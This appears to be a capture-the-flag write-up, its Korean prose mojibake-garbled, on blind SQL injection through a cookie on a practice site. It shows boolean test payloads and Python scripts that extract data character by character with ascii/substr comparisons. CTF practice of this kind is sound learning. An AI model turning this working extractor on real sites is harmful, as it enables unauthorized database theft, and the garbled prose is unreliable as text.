๋ก๊ทธ์ธ(์์ด๋ xcvb)ํ๊ณ ๋ง์ดํ์ด์ง์ ๋จผ์ ์ ์
์ผ๋จ ์ฟ ํค๊ฐ ๋ณด์ด๋ ์ฟ ํค์ ํ ์คํธ
โผxcvb' and '1'='1
โผxcvb' and '1'='2
SQL๋ฌธ์ด ๊ฑฐ์ง์ผ๋ ๋๋ฒ์งธ ์นธ์ Nothing Here... ๋ฌธ๊ตฌ๊ฐ ๋ณด์ด์ง ์๋๋ค.
์ด๊ฑธ ์ด์ฉํด๋ณด์. ์๋ํํด์!
import requests
url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php"
success_message = 'Nothing Here'
def send_request(sql_query):
cookie = {'user':sql_query,
'PHPSESSID':'93mj6rtl3ros478psl52m96roh'
}
response = requests.post(url, cookies=cookie)
return success_message in response.text
sql_query = input("sql์ ์
๋ ฅํ์ธ์: ")
if send_request(sql_query):
print("์ฑ๊ณต")
else:
print("์คํจ")
SQL๋ฌธ์ด ์ฐธ์ด๋ฉด ๋ง์ดํ์ด์ง ๋๋ฒ์งธ ์
๋ ฅ์นธ์ Nothing Here...๋ฌธ๊ตฌ๊ฐ ์ถ๋ ฅ๋๋ค.
์์ด๋๋ฅผ ๋ฃ์์๋ ์ ๋์ํ๋ค.
import requests
url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php"
success_message = 'Nothing Here'
def send_request(sql_query):
cookie = {'user':sql_query,
'PHPSESSID':'93mj6rtl3ros478psl52m96roh'
}
response = requests.post(url, cookies=cookie)
return success_message in response.text
'''
sql_query = input("sql์ ์
๋ ฅํ์ธ์: ")
if send_request(sql_query):
print("์ฑ๊ณต")
else:
print("์คํจ")
'''
def Blind_SQLi(sql):
extract_info = ''
for i in range(1,101): #์ต๋ 100๊ธ์ ๊น์ง ์ถ์ถ
for j in range(32,127): #ascii ๋ฌธ์ ๋ฒ์
payload = f"xcvb' and (ascii(substr(({sql}),{i},1))={j}) and '1'='1"
if send_request(payload):
extract_info += chr(j)
break
else:
break # ๋ ์ด์ ๊ธ์๊ฐ ์์ผ๋ฉด ์ข
๋ฃ
return extract_info
sql_query = input("SQL ์ฟผ๋ฆฌ๋ฅผ ์
๋ ฅํ์ธ์: ")
extracted_data = Blind_SQLi(sql_query)
print(f"Extracted Data: {extracted_data}")
๊ณต๊ฒฉ format์
xcvb' and (ascii(substr(({sql}),{i},1))={j})